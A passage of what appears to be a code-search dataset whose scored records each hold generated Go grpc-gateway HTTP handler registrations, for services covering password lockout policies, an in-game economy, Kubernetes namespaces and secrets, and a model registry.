md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultPasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreatePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreatePasswordLockoutPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreatePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdatePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdatePasswordLockoutPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdatePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemovePasswordLockoutPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemovePasswordLockoutPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemovePasswordLockoutPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "3f5e54898d4d5c629aeada905d63fbb7", "score": "0.70058113", "text": "func (s *Server) RegisterHandlers(_ *runtime.ServeMux, _ *grpc.ClientConn) {}", "title": "" }, { "docid": "67a547a427fdbd59737af6812f9cf55f", "score": "0.68982524", "text": "func RegisterMruVEconomyServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server MruVEconomyServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_MruVEconomyService_RegisterProduct_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/RegisterProduct\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_RegisterProduct_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_RegisterProduct_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVEconomyService_GetProduct_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/GetProduct\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_GetProduct_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_GetProduct_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_MruVEconomyService_UpdateProduct_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/UpdateProduct\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_UpdateProduct_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_UpdateProduct_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_MruVEconomyService_DeleteProduct_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/DeleteProduct\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_DeleteProduct_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_DeleteProduct_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_MruVEconomyService_UpdatePrice_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/UpdatePrice\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_UpdatePrice_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_UpdatePrice_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_MruVEconomyService_GetPrice_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/GetPrice\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_GetPrice_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_GetPrice_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_MruVEconomyService_BuyProduct_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/mruv.economy.MruVEconomyService/BuyProduct\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_MruVEconomyService_BuyProduct_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_MruVEconomyService_BuyProduct_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ac4f8e91cf2a0c4a666f1ea831cc819f", "score": "0.6739335", "text": "func RegisterResourcesServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ResourcesServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_ResourcesService_GetResources_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"GET\", pattern_ResourcesService_GetServiceAccountNames_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/GetServiceAccountNames\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{context.cluster}/ns/{context.namespace}/serviceaccountnames\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_GetServiceAccountNames_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_GetServiceAccountNames_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ResourcesService_GetNamespaceNames_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/GetNamespaceNames\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{cluster}/namespacenames\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_GetNamespaceNames_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_GetNamespaceNames_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ResourcesService_CreateNamespace_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/CreateNamespace\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{context.cluster}/ns\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_CreateNamespace_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_CreateNamespace_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ResourcesService_CheckNamespaceExists_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/CheckNamespaceExists\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{context.cluster}/ns/{context.namespace}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_CheckNamespaceExists_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_CheckNamespaceExists_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ResourcesService_GetSecretNames_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/GetSecretNames\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{context.cluster}/ns/{context.namespace}/secretnames\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_GetSecretNames_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_GetSecretNames_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ResourcesService_CreateSecret_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/kubeappsapis.plugins.resources.v1alpha1.ResourcesService/CreateSecret\", runtime.WithHTTPPathPattern(\"/plugins/resources/v1alpha1/c/{context.cluster}/ns/{context.namespace}/secrets\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ResourcesService_CreateSecret_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ResourcesService_CreateSecret_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "8c98648e968baee4fd95298c2aff41ac", "score": "0.66589636", "text": "func RegisterRegistryServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client RegistryServiceClient) error {\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindRegisteredModel_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_FindRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_FindRegisteredModel_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_FindRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetRegisteredModel_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModel_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetRegisteredModel_1(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModel_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetRegisteredModelCount_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_GetRegisteredModelCount_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetRegisteredModelCount_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_CreateRegisteredModel_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateRegisteredModel_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_RegistryService_UpdateRegisteredModel_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_RegistryService_UpdateRegisteredModel_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateRegisteredModel_0(ctx, mux, 